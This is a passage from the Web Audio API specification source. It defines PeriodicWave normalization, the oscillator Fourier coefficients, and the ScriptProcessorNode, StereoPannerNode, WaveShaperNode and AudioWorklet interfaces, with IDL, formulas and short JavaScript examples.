the\n\t\t\t\t{{PeriodicWaveOptions}}.\n\n\t\t\t6. Return <var>p</var>.\n\t\t</div>\n\n\t\t<pre class=argumentdef for=\"PeriodicWave/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{PeriodicWave}} will be <a href=\"#associated\">associated</a> with. Unlike {{AudioBuffer}}, {{PeriodicWave}}s can't be shared accross {{AudioContext}}s or {{OfflineAudioContext}}s. It is associated with a particular {{BaseAudioContext}}.\n\t\t\toptions: Optional initial parameter value for this {{PeriodicWave}}.\n\t\t</pre>\n</dl>\n\n<h4 dictionary lt=\"periodicwaveconstraints\" id=\"PeriodicWaveConstraints\">\n{{PeriodicWaveConstraints}}</h4>\n\nThe {{PeriodicWaveConstraints}} dictionary is used to\nspecify how the waveform is [[#waveform-normalization|normalized]].\n\n<pre class=\"idl\">\ndictionary PeriodicWaveConstraints {\n\tboolean disableNormalization = false;\n};\n</pre>\n\n<h5 id=\"dictionary-periodicwaveconstraints-members\">\nDictionary {{PeriodicWaveConstraints}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"PeriodicWaveConstraints\">\n\t: <dfn>disableNormalization</dfn>\n\t::\n\t\tControls whether the periodic wave is normalized or not. If\n\t\t`true`, the waveform is not normalized; otherwise,\n\t\tthe waveform is normalized.\n</dl>\n\n<h4 dictionary lt=\"periodicwaveoptions\" id=\"PeriodicWaveOptions\">\n{{PeriodicWaveOptions}}</h4>\n\nThe {{PeriodicWaveOptions}} dictionary is used to specify\nhow the waveform is constructed. If only one of {{PeriodicWaveOptions/real}}\nor {{PeriodicWaveOptions/imag}} is specified. The other is treated as if it\nwere an array of all zeroes of the same length, as specified below\nin <a href=\"#dictionary-periodicwaveoptions-members\">description of\nthe dictionary members</a>. If neither is given, a\n{{PeriodicWave}} is created that MUST be equivalent\nto an {{OscillatorNode}} with\n{{OscillatorNode/type}} \"{{OscillatorType/sine}}\". If\nboth are given, the sequences must have the same length; otherwise\nan <span class=\"synchronous\">error of type\n{{NotSupportedError}} MUST be thrown</span>.\n\n<xmp class=\"idl\">\ndictionary PeriodicWaveOptions : PeriodicWaveConstraints {\n\tsequence<float> real;\n\tsequence<float> imag;\n};\n</xmp>\n\n<h5 id=\"dictionary-periodicwaveoptions-members\">\nDictionary {{PeriodicWaveOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"PeriodicWaveOptions\">\n\t: <dfn>imag</dfn>\n\t::\n\t\tThe {{PeriodicWaveOptions/imag}} parameter represents an array of\n\t\t<code>sine</code> terms. The first element (index 0) does not\n\t\texist in the Fourier series.  The second element\n\t\t(index 1) represents the fundamental frequency.  The\n\t\tthird represents the first overtone and so on.\n\n\t: <dfn>real</dfn>\n\t::\n\t\tThe {{PeriodicWaveOptions/real}} parameter represents an array of\n\t\t<code>cosine</code> terms. The first element (index 0) is the\n\t\tDC-offset of the periodic waveform. The second element\n\t\t(index 1) represents the fundmental frequency.  The\n\t\tthird represents the first overtone and so on.\n</dl>\n\n<h4 id=\"waveform-generation\">\nWaveform Generation</h4>\n\nThe {{BaseAudioContext/createPeriodicWave()}}\nmethod takes two arrays to specify the Fourier coefficients of the\n{{PeriodicWave}}. Let \\(a\\) and \\(b\\) represent the {{[[real]]}} and {{[[imag]]}}\narrays of length \\(L\\), respectively. Then the basic time-domain waveform,\n\\(x(t)\\), can be computed using:\n\n<pre nohighlight>\n$$\n\tx(t) = \\sum_{k=1}^{L-1} \\left[a[k]\\cos2\\pi k t + b[k]\\sin2\\pi k t\\right]\n$$\n</pre>\n\nThis is the basic (unnormalized) waveform.\n\n\n<h4 id=\"waveform-normalization\">\nWaveform Normalization</h4>\n\nIf the internal slot {{[[normalize]]}} of this\n{{PeriodicWave}} is `true` (the default), the\nwaveform defined in the previous section is normalized so that the\nmaximum value is 1. The normalization is done as follows.\n\nLet\n\n<pre nohighlight>\n$$\n\t\\tilde{x}(n) = \\sum_{k=1}^{L-1} \\left(a[k]\\cos\\frac{2\\pi k n}{N} + b[k]\\sin\\frac{2\\pi k n}{N}\\right)\n$$\n</pre>\n\nwhere \\(N\\) is a power of two. (Note: \\(\\tilde{x}(n)\\) can\nconveniently be computed using an inverse FFT.) The fixed\nnormalization factor \\(f\\) is computed as follows.\n\n<pre nohighlight>\n$$\n\tf = \\max_{n = 0, \\ldots, N - 1} |\\tilde{x}(n)|\n$$\n</pre>\n\nThus, the actual normalized waveform \\(\\hat{x}(n)\\) is:\n\n<pre nohighlight>\n$$\n\t\\hat{x}(n) = \\frac{\\tilde{x}(n)}{f}\n$$\n</pre>\n\nThis fixed normalization factor MUST be applied to all generated\nwaveforms.\n\n<h4 id=\"oscillator-coefficients\">\nOscillator Coefficients</h4>\n\nThe builtin oscillator types are created using {{PeriodicWave}}\nobjects. For completeness the coefficients for the {{PeriodicWave}} for\neach of the builtin oscillator types is given here. This is useful\nif a builtin type is desired but without the default normalization.\n\nIn the following descriptions, let \\(a\\) be the array of real\ncoefficients and \\(b\\) be the array of imaginary coefficients for\n{{BaseAudioContext/createPeriodicWave()}}. In\nall cases \\(a[n] = 0\\) for all \\(n\\) because the waveforms are odd\nfunctions. Also, \\(b[0] = 0\\) in all cases. Hence, only \\(b[n]\\)\nfor \\(n \\ge 1\\) is specified below.\n\n<dl link-for=\"OscillatorType\">\n\t: \"{{sine}}\"\n\t::\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tb[n] = \\begin{cases}\n\t\t\t\t\t\t\t 1 &amp; \\mbox{for } n = 1 \\\\\n\t\t\t\t\t\t\t 0 &amp; \\mbox{otherwise}\n\t\t\t\t\t\t \\end{cases}\n\t\t$$\n\t\t</pre>\n\n\t: \"{{square}}\"\n\t::\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tb[n] = \\frac{2}{n\\pi}\\left[1 - (-1)^n\\right]\n\t\t$$\n\t\t</pre>\n\n\t: \"{{sawtooth}}\"\n\t::\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tb[n] = (-1)^{n+1} \\dfrac{2}{n\\pi}\n\t\t$$\n\t\t</pre>\n\n\t: \"{{triangle}}\"\n\t::\n\t\t<pre nohighlight>\n\t\t$$\n\t\t\tb[n] = \\frac{8\\sin\\dfrac{n\\pi}{2}}{(\\pi n)^2}\n\t\t$$\n\t\t</pre>\n</dl>\n\n\n<!-- Big Text: Script -->\n<!-- Big Text: Processor -->\n\n<h3 interface lt=\"scriptprocessornode\" id=\"ScriptProcessorNode\">\nThe {{ScriptProcessorNode}} Interface - DEPRECATED</h3>\n\nThis interface is an {{AudioNode}} which can\ngenerate, process, or analyse audio directly using a script. This\nnode type is deprecated, to be replaced by the\n{{AudioWorkletNode}}; this text is only here for informative\npurposes until implementations remove this node type.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: {{BaseAudioContext/createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels)/numberOfInputChannels}}\n\tcc-notes: This is the number of channels specified when constructing this node. There are <a>channelCount constraints</a>.\n\tcc-mode: explicit\n\tcc-mode-notes:  Has <a>channelCountMode constraints</a>\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\nThe {{ScriptProcessorNode}} is constructed with a\n{{BaseAudioContext/createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels)/bufferSize}} which MUST be one of the following values: 256,\n512, 1024, 2048, 4096, 8192, 16384. This value controls how\nfrequently the {{ScriptProcessorNode/onaudioprocess}} event is dispatched and how\nmany sample-frames need to be processed each call. {{ScriptProcessorNode/onaudioprocess}} events are only\ndispatched if the {{ScriptProcessorNode}} has at\nleast one input or one output connected. Lower numbers for\n{{ScriptProcessorNode/bufferSize}} will result in\na lower (better) <a href=\"#latency\">latency</a>. Higher numbers will\nbe necessary to avoid audio breakup and <a href=\"#audio-glitching\">glitches</a>. This value will be picked by the\nimplementation if the bufferSize argument to\n{{createScriptProcessor()}} is not passed in, or is set to 0.\n\n{{numberOfInputChannels}} and {{numberOfOutputChannels}}\ndetermine the number of input and output channels. It is invalid for\nboth {{numberOfInputChannels}} and {{numberOfOutputChannels}}\nto be zero.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface ScriptProcessorNode : AudioNode {\n\tattribute EventHandler onaudioprocess;\n\treadonly attribute long bufferSize;\n};\n</pre>\n\n<h4 id=\"ScriptProcessorNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"ScriptProcessorNode\">\n\t: <dfn>bufferSize</dfn>\n\t::\n\t\tThe size of the buffer (in sample-frames) which needs to be\n\t\tprocessed each time {{ScriptProcessorNode/onaudioprocess}} is called.\n\t\tLegal values are (256, 512, 1024, 2048, 4096, 8192, 16384).\n\n\t: <dfn>onaudioprocess</dfn>\n\t::\n\t\tA property used to set the <code>EventHandler</code> (described\n\t\tin <cite><a href=\"https://html.spec.whatwg.org/multipage/webappapis.html#eventhandler\">\n\t\tHTML</a></cite>[[!HTML]]) for the {{ScriptProcessorNode/onaudioprocess}} event that\n\t\tis dispatched to {{ScriptProcessorNode}} node\n\t\ttypes. An event of type {{AudioProcessingEvent}}\n\t\twill be dispatched to the event handler.\n</dl>\n\n\n<!-- Big Text: Stereo -->\n<!-- Big Text: Panner -->\n\n<h3 interface lt=\"stereopannernode\" id=\"StereoPannerNode\">\nThe {{StereoPannerNode}} Interface</h3>\n\nThis interface represents a processing node which positions an\nincoming audio stream in a stereo image using <a href=\"#stereopanner-algorithm\">a low-cost panning\nalgorithm</a>. This panning effect is common in positioning audio\ncomponents in a stereo stream.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-notes: Has <a>channelCount constraints</a>\n\tcc-mode: clamped-max\n\tcc-mode-notes: Has <a>channelCountMode constraints</a>\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\nThe input of this node is stereo (2 channels) and cannot be\nincreased. Connections from nodes with fewer or more channels will be\n<a href=\"#channel-up-mixing-and-down-mixing\">up-mixed or down-mixed\nappropriately</a>.\n\nThe output of this node is hard-coded to stereo (2 channels) and\ncannot be configured.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface StereoPannerNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional StereoPannerOptions options = {});\n\treadonly attribute AudioParam pan;\n};\n</pre>\n\n<h4 id=\"StereoPannerNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"StereoPannerNode\">\n\t: <dfn>StereoPannerNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"StereoPannerNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{StereoPannerNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{StereoPannerNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"StereoPannerNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"StereoPannerNode\">\n\t: <dfn>pan</dfn>\n\t::\n\t\tThe position of the input in the output's stereo image. -1\n\t\trepresents full left, +1 represents full right.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: -1\n\t\t\tmax: 1\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n</dl>\n\n<h4 dictionary lt=\"stereopanneroptions\" id=\"StereoPannerOptions\">\n{{StereoPannerOptions}}</h4>\n\nThis specifies the options to use in constructing a\n{{StereoPannerNode}}. All members are optional; if\nnot specified, the normal default is used in constructing the node.\n\n<pre class=\"idl\">\ndictionary StereoPannerOptions : AudioNodeOptions {\n\tfloat pan = 0;\n};\n</pre>\n\n<h5 id=\"dictionary-stereopanneroptions-members\">\nDictionary {{StereoPannerOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"StereoPannerOptions\">\n\t: <dfn>pan</dfn>\n\t:: The initial value for the {{StereoPannerNode/pan}} AudioParam.\n</dl>\n\n<h4 id=\"StereoPanner-channel-limitations\">\nChannel Limitations</h4>\n\nBecause its processing is constrained by the above definitions,\n{{StereoPannerNode}} is limited to mixing no more\nthan 2 channels of audio, and producing exactly 2 channels. It is\npossible to use a {{ChannelSplitterNode}},\nintermediate processing by a subgraph of\n{{GainNode}}s and/or other nodes, and recombination\nvia a {{ChannelMergerNode}} to realize arbitrary\napproaches to panning and mixing.\n\n\n<!-- Big Text: Wave -->\n<!-- Big Text: Shaper -->\n\n<h3 interface lt=\"waveshapernode\" id=\"WaveShaperNode\">\nThe {{WaveShaperNode}} Interface</h3>\n\n{{WaveShaperNode}} is an\n{{AudioNode}} processor implementing non-linear\ndistortion effects.\n\nNon-linear waveshaping distortion is commonly used for both subtle\nnon-linear warming, or more obvious distortion effects. Arbitrary\nnon-linear shaping curves may be specified.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: Maybe\n\ttail-time-notes: There is a <a>tail-time</a> only if the {{WaveShaperNode/oversample}} attribute is set to \"{{OverSampleType/2x}}\" or \"{{OverSampleType/4x}}\". The actual duration of this <a>tail-time</a> depends on the implementation.\n</pre>\n\nThe number of channels of the output always equals the number of\nchannels of the input.\n\n<pre class=\"idl\">\nenum OverSampleType {\n\t\"none\",\n\t\"2x\",\n\t\"4x\"\n};\n</pre>\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-type=enum-value dfn-for=\"OverSampleType\">\n\t<thead>\n\t\t<tr><th scope=\"col\" colspan=\"2\">Enumeration description\n\t<tbody>\n\t\t<tr><td>\"<dfn>none</dfn>\"\n\t\t\t<td>Don't oversample\n\n\t\t<tr><td>\"<dfn>2x</dfn>\"\n\t\t\t<td>Oversample two times\n\n\t\t<tr><td>\"<dfn>4x</dfn>\"\n\t\t\t<td>Oversample four times\n</table>\n</div>\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface WaveShaperNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional WaveShaperOptions options = {});\n\tattribute Float32Array? curve;\n\tattribute OverSampleType oversample;\n};\n</pre>\n\n<h4 id=\"WaveShaperNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"WaveShaperNode\">\n\t: <dfn>WaveShaperNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\tAlso, let <dfn attribute for=\"WaveShaperNode\">[[curve set]]</dfn> be an internal\n\t\tslot of this {{WaveShaperNode}}.  Initialize this slot to <code>false</code>.  If\n\t\t{{WaveShaperNode/constructor(context, options)/options}} is given and specifies a\n\t\t{{WaveShaperOptions/curve}}, set {{[[curve set]]}} to <code>true</code>.\n\n\t\t<pre class=argumentdef for=\"WaveShaperNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{WaveShaperNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{WaveShaperNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"WaveShaperNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"WaveShaperNode\">\n\t: <dfn>curve</dfn>\n\t::\n\t\tThe shaping curve used for the waveshaping effect. The input\n\t\tsignal is nominally within the range [-1, 1]. Each input sample\n\t\twithin this range will index into the shaping curve, with a\n\t\tsignal level of zero corresponding to the center value of the\n\t\tcurve array if there are an odd number of entries, or\n\t\tinterpolated between the two centermost values if there are an\n\t\teven number of entries in the array. Any sample value less than\n\t\t-1 will correspond to the first value in the curve array. Any\n\t\tsample value greater than +1 will correspond to the last value\n\t\tin the curve array.\n\n\t\tThe implementation MUST perform linear interpolation between\n\t\tadjacent points in the curve. Initially the curve attribute is\n\t\tnull, which means that the WaveShaperNode will pass its input\n\t\tto its output without modification.\n\n\t\tValues of the curve are spread with equal spacing in the [-1;\n\t\t1] range. This means that a {{WaveShaperNode/curve}} with a\n\t\teven number of value will not have a value for a signal at\n\t\tzero, and a {{WaveShaperNode/curve}} with an odd number of\n\t\tvalue will have a value for a signal at zero.  The\n\t\toutput is determined by the following algorithm.\n\n\t\t<div algorithm=\"wave-shaper-curve\">\n\t\t\t1. Let \\(x\\) be the input sample, \\(y\\) be the\n\t\t\t\tcorresponding output of the node,\n\t\t\t\t\\(c_k\\) be the \\(k\\)'th element of the\n\t\t\t\t{{WaveShaperNode/curve}}, and \\(N\\) be\n\t\t\t\tthe length of the\n\t\t\t\t{{WaveShaperNode/curve}}.\n\n\t\t\t1. Let\n\t\t\t\t<pre nohighlight>\n\t\t\t\t$$\n\t\t\t\t\t\\begin{align*}\n\t\t\t\t\tv &= \\frac{N-1}{2}(x + 1) \\\\\n\t\t\t\t\tk &= \\lfloor v \\rfloor \\\\\n\t\t\t\t\tf &= v - k\n\t\t\t\t\t\\end{align*}\n\t\t\t\t$$\n\t\t\t\t</pre>\n\t\t\t1. Then\n\t\t\t\t<pre nohighlight>\n\t\t\t\t$$\n\t\t\t\t\t\\begin{align*}\n\t\t\t\t\ty &=\n\t\t\t\t\t\t\\begin{cases}\n\t\t\t\t\t\tc_0 & v \\lt 0 \\\\\n\t\t\t\t\t\tc_{N-1} & v \\ge N - 1 \\\\\n\t\t\t\t\t\t(1-f)\\,c_k + fc_{k+1} & \\mathrm{otherwise}\n\t\t\t\t\t\t\\end{cases}\n\t\t\t\t\t\\end{align*}\n\t\t\t\t$$\n\t\t\t\t</pre>\n\t\t</div>\n\n\t\t<span class=\"synchronous\">A {{InvalidStateError}} MUST be thrown if this\n\t\tattribute is set with a {{Float32Array}} that has a\n\t\t<code>length</code> less than 2.</span>\n\n\t\tWhen this attribute is set, an internal copy of the curve is\n\t\tcreated by the {{WaveShaperNode}}. Subsequent\n\t\tmodifications of the contents of the array used to set the\n\t\tattribute therefore have no effect.\n\n\t\t<div algorithm=\"WaveShaperNode.curve\">\n\t\t\tTo set the {{WaveShaperNode/curve}} attribute, execute these steps:\n\n\t\t\t1. Let <var>new curve</var> be a {{Float32Array}} to be assigned to {{WaveShaperNode/curve}} or <code>null</code>.\n\t\t\t\t.\n\n\t\t\t2. If <var>new curve</var> is not <code>null</code> and\n\t\t\t\t{{WaveShaperNode/[[curve set]]}} is true, throw an\n\t\t\t\t{{InvalidStateError}} and abort these steps.\n\n\t\t\t3. If <var>new curve</var> is not <code>null</code>, set\n\t\t\t\t{{WaveShaperNode/[[curve set]]}} to true.\n\n\t\t\t4. Assign <var>new curve</var> to the {{WaveShaperNode/curve}}\n\t\t\t\tattribute.\n\t\t</div>\n\n\t\tNote: The use of a curve that produces a non-zero\n\t\toutput value for zero input value will cause this node\n\t\tto produce a DC signal even if there are no inputs\n\t\tconnected to this node. This will persist until the\n\t\tnode is disconnected from downstream nodes.\n\n\t: <dfn>oversample</dfn>\n\t::\n\t\tSpecifies what type of oversampling (if any) should be used\n\t\twhen applying the shaping curve. The default value is \"{{none}}\",\n\t\tmeaning the curve will be applied directly to the input\n\t\tsamples. A value of \"{{2x}}\" or \"{{4x}}\" can improve the quality of the\n\t\tprocessing by avoiding some aliasing, with the \"{{4x}}\" value\n\t\tyielding the highest quality. For some applications, it's\n\t\tbetter to use no oversampling in order to get a very precise\n\t\tshaping curve.\n\n\t\t<div algorithm=\"oversample\">\n\t\t\tA value of \"{{2x}}\" or \"{{4x}}\" means that the following steps MUST be\n\t\t\tperformed:\n\n\t\t\t1. Up-sample the input samples to 2x or 4x the sample-rate of\n\t\t\t\tthe {{AudioContext}}. Thus for each <a>render\n\t\t\t\tquantum</a>, generate 256 (for 2x) or 512 (for 4x) samples.\n\n\t\t\t2. Apply the shaping curve.\n\n\t\t\t3. Down-sample the result back to the sample-rate of the\n\t\t\t\t{{AudioContext}}. Thus taking the 256 (or 512)\n\t\t\t\tprocessed samples, generating 128 as the final result.\n\t\t</div>\n\n\t\tThe exact up-sampling and down-sampling filters are not\n\t\tspecified, and can be tuned for sound quality (low aliasing,\n\t\tetc.), low latency, or performance.\n\n\t\tNote: Use of oversampling introduces some degree of audio processing\n\t\tlatency due to the up-sampling and down-sampling filters. The\n\t\tamount of this latency can vary from one implementation to\n\t\tanother.\n</dl>\n\n<h4 dictionary lt=\"waveshaperoptions\" id=\"WaveShaperOptions\">\n{{WaveShaperOptions}}</h4>\n\nThis specifies the options for constructing a\n{{WaveShaperNode}}. All members are optional; if\nnot specified, the normal default is used in constructing the node.\n\n<xmp class=\"idl\">\ndictionary WaveShaperOptions : AudioNodeOptions {\n\tsequence<float> curve;\n\tOverSampleType oversample = \"none\";\n};\n</xmp>\n\n<h5 id=\"dictionary-waveshaperoptions-members\">\nDictionary {{WaveShaperOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"WaveShaperOptions\">\n\t: <dfn>curve</dfn>\n\t:: The shaping curve for the waveshaping effect.\n\n\t: <dfn>oversample</dfn>\n\t:: The type of oversampling to use for the shaping curve.\n</dl>\n\n\n<!-- Big Text: AudioWorklet -->\n\n<h3 interface lt=\"audioworklet\" id=\"AudioWorklet\">\nThe {{AudioWorklet}} Interface</h3>\n\n<pre class=\"idl\">\n[Exposed=Window, SecureContext]\ninterface AudioWorklet : Worklet {\n};\n</pre>\n\n<h4 id=\"AudioWorklet-concepts\">\nConcepts</h4>\n\nThe {{AudioWorklet}} object allows developers to supply scripts\n(such as JavaScript or WebAssembly code) to process audio on the\n<a>rendering thread</a>, supporting custom {{AudioNode}}s. This\nprocessing mechanism ensures synchronous execution of the\nscript code with other built-in {{AudioNode}}s in the audio\ngraph.\n\nAn associated pair of objects MUST be defined in order to realize\nthis mechanism: {{AudioWorkletNode}} and\n{{AudioWorkletProcessor}}. The former represents the interface\nfor the main global scope similar to other {{AudioNode}}\nobjects, and the latter implements the internal audio processing\nwithin a special scope named {{AudioWorkletGlobalScope}}.\n\n<figure>\n\t<img alt=\"AudioWorklet concept\" src=\"images/audioworklet-concept.png\" width=\"756\" height=\"144\">\n\t<figcaption>\n\t\t{{AudioWorkletNode}} and\n\t\t{{AudioWorkletProcessor}}\n\t</figcaption>\n</figure>\n\nEach {{BaseAudioContext}} possesses exactly one\n{{AudioWorklet}}.\n\nThe {{AudioWorklet}}'s <a>worklet global scope type</a> is\n{{AudioWorkletGlobalScope}}.\n\nThe {{AudioWorklet}}'s <a>worklet destination type</a> is\n<code>\"audioworklet\"</code>.\n\nImporting a script via the {{addModule()|addModule(moduleUrl)}}\nmethod registers class definitions of {{AudioWorkletProcessor}}\nunder the {{AudioWorkletGlobalScope}}. There are two internal\nstorage areas for the imported class constructor and the active\ninstances created from the constructor.\n\n{{AudioWorklet}} has one internal slot:\n\n- <dfn>node name to parameter descriptor map</dfn> which is a map containing\n\tan identical set of string keys from <a>node name to processor\n\tconstructor map</a> that are associated with the matching\n\t<a>parameterDescriptors</a> values. This internal storage is\n\tpopulated as a consequence of calling the {{registerProcessor()}}\n\tmethod in the <a>rendering thread</a>. The population is guaranteed\n\tto complete prior to the resolution of the promise returned by\n\t{{addModule()}} on a context's {{BaseAudioContext/audioWorklet}}.\n\n<pre class=\"example\" highlight=\"js\" title=\"Registering an AudioWorkletProcessor class definition\">\n// bypass-processor.js script file, runs on AudioWorkletGlobalScope\nclass BypassProcessor extends AudioWorkletProcessor {\n\tprocess (inputs, outputs) {\n\t\t// Single input, single channel.\n\t\tconst input = inputs[0];\n\t\tconst output = outputs[0];\n\t\toutput[0].set(input[0]);\n\n\t\t// Process only while there are active inputs.\n\t\treturn false;\n\t}\n};\n\nregisterProcessor('bypass-processor', BypassProcessor);\n</pre>\n\n<pre class=\"example\" highlight=\"js\" title=\"Importing a script and creating AudioWorkletNode\">\n// The main global scope\nconst context = new AudioContext();\ncontext.audioWorklet.addModule('bypass-processor.js').then(() =&gt; {\n\tconst bypassNode = new AudioWorkletNode(context, 'bypass-processor');\n});\n</pre>\n\nAt the instantiation of {{AudioWorkletNode}} in the main global\nscope, the counterpart {{AudioWorkletProcessor}} will also be\ncreated in {{AudioWorkletGlobalScope}}. These two objects\ncommunicate via the asynchronous message passing described in\n[[#processing-model]].\n\n<h4 interface lt=\"audioworkletglobalscope\" id=\"AudioWorkletGlobalScope\">\nThe {{AudioWorkletGlobalScope}} Interface</h4>\n\nThis special execution context is designed to enable the\ngeneration, processing, and analysis of audio data directly using a\nscript in the audio <a>rendering thread</a>. The user-supplied\nscript code is evaluated in this scope to define one or more\n{{AudioWorkletProcessor}} subclasses, which in turn are used to\ninstantiate {{AudioWorkletProcessor}}s, in a 1:1 association\nwith {{AudioWorkletNode}}s in the main scope.\n\nExactly one {{AudioWorkletGlobalScope}} exists for each\n{{AudioContext}} that contains one or more\n{{AudioWorkletNode}}s. The running of imported scripts is\nperformed by the UA as defined in [[!HTML]]. Overriding the default\nspecified in [[!HTML]], {{AudioWorkletGlobalScope}}s must not be\n[=terminate a worklet global scope|terminated=] arbitrarily by the user\nagent.\n\nAn {{AudioWorkletGlobalScope}} has the following internal slots:\n\n- <dfn>node name to processor constructor map</dfn> which is a map\n\tthat stores key-value pairs of\n\t<em>processor name</em> →\n\t<em>{{AudioWorkletProcessorConstructor}}</em> instance.\n\tInitially this map is empty and populated when the\n\t{{registerProcessor()}} method is called.\n- <dfn>pending processor construction data</dfn> stores temporary data\n\tgenerated by the {{AudioWorkletNode}} constructor for the\n\tinstantiation of the corresponding {{AudioWorkletProcessor}}. The\n\t[=pending processor construction data=] contains the following items:\n\t- <dfn for=\"pending processor construction data\">node reference</dfn>\n\t\twhich is initially empty. This storage is for an\n\t\t{{AudioWorkletNode}} reference that is transferred from the\n\t\t{{AudioWorkletNode}} constructor.\n\t- <dfn for=\"pending processor construction data\">transferred port</dfn>\n\t\twhich is initially empty. This storage is for a deserialized\n\t\t{{MessagePort}} that is transferred from the\n\t\t{{AudioWorkletNode}} constructor.\n\nNote: The {{AudioWorkletGlobalScope}} may also contain any other data\nand code to be shared by these instances. As an example, multiple\nprocessors might share an ArrayBuffer defining a wavetable or an\nimpulse response.\n\nNote: An {{AudioWorkletGlobalScope}} is associated with a single\n{{BaseAudioContext}}, and with a single audio rendering thread\nfor that context. This prevents data races from occurring in global\nscope code running within concurrent threads.\n\n<pre class=\"idl\">\ncallback AudioWorkletProcessorConstructor = AudioWorkletProcessor (object options);\n\n[Global=(Worklet, AudioWorklet), Exposed=AudioWorklet]\ninterface AudioWorkletGlobalScope : WorkletGlobalScope {\n\tundefined registerProcessor (DOMString name,\n\t                             AudioWorkletProcessorConstructor processorCtor);\n\treadonly attribute unsigned long long currentFrame;\n\treadonly attribute double currentTime;\n\treadonly attribute float sampleRate;\n};\n</pre>\n\n<h5 id=\"AudioWorkletGlobalScope-attributes\">\nAttributes</h5>\n\n<dl dfn-type=attribute dfn-for=\"AudioWorkletGlobalScope\">\n\t: <dfn>currentFrame</dfn>\n\t::\n\t\tThe current frame of the block of audio being\n\t\tprocessed. This must be equal to the value of the\n\t\t{{[[current frame]]}} internal slot of the\n\t\t{{BaseAudioContext}}.\n\n\t: <dfn>currentTime</dfn>\n\t::\n\t\tThe context time of the block of audio being processed. By\n\t\tdefinition this will be equal to the value of\n\t\t{{BaseAudioContext}}'s {{BaseAudioContext/currentTime}} attribute that was most\n\t\trecently observable in the <a>control thread</a>.\n\n\t: <dfn>sampleRate</dfn>\n\t::\n\t\tThe sample rate of the associated {{BaseAudioContext}}.\n</dl>\n\n<h5 id=\"AudioWorkletGlobalScope-methods\">\nMethods</h5>\n\n<dl dfn-type=method dfn-for=\"AudioWorkletGlobalScope\">\n\t: <dfn>registerProcessor(name, processorCtor)</dfn>\n\t::\n\t\tRegisters a class constructor derived from\n\t\t{{AudioWorkletProcessor}}.\n\n\t\t<div algorithm=\"AudioWorkletGlobalScope.registerProcess(name, processorCtr)\">\n\t\t\tWhen the {{AudioWorkletGlobalScope/registerProcessor(name, processorCtor)}}\n\t\t\tmethod is called, perform the following steps. If an\n\t\t\texception is thrown in any step, abort the remaining\n\t\t\tsteps.\n\n\t\t\t1. If <var>name</var> is an empty string,\n\t\t\t\t<span class=\"synchronous\">throw a\n\t\t\t\t{{NotSupportedError}}</span>.\n\n\t\t\t1. If <var>name</var> already exists as a key in the\n\t\t\t\t<a>node name to processor constructor map</a>,\n\t\t\t\t<span class=\"synchronous\">throw a\n\t\t\t\t{{NotSupportedError}}</span>.\n\n\t\t\t1. If the result of\n\t\t\t\t<code><a href=\"https://tc39.es/ecma262#sec-isconstructor\">IsConstructor</a>(argument=<var>processorCtor</var>)</code>\n\t\t\t\tis <code>false</code>,\n\t\t\t\t<span class=\"synchronous\">throw a {{TypeError}}\n\t\t\t\t</span>.\n\n\t\t\t1. Let <code><em>prototype</em></code> be the result of\n\t\t\t\t<code><a href=\"https://tc39.es/ecma262#sec-get-o-p\">\n\t\t\t\tGet</a>(O=<i>processorCtor</i>,\n\t\t\t\tP=\"prototype\")</code>.\n\n\t\t\t1. If the result of\n\t\t\t\t<code><a href=\"https://tc39.es/ecma262#sec-ecmascript-data-types-and-values\">Type</a>(argument=<i>prototype</i>)</code>\n\t\t\t\tis not <code>Object</code>,\n\t\t\t\t<span class=\"synchronous\">throw a {{TypeError}}\n\t\t\t\t</span>.\n\n\t\t\t1. Let <var>parameterDescriptorsValue</var> be the\n\t\t\t\tresult of\n\t\t\t\t<code><a href=\"https://tc39.es/ecma262#sec-get-o-p\">Get</a>(O=<i>processorCtor</i>, P=\"parameterDescriptors\")</code>.\n\n\t\t\t1. If <var>parameterDescriptorsValue</var> is not {{undefined}},\n\t\t\t\texecute the following 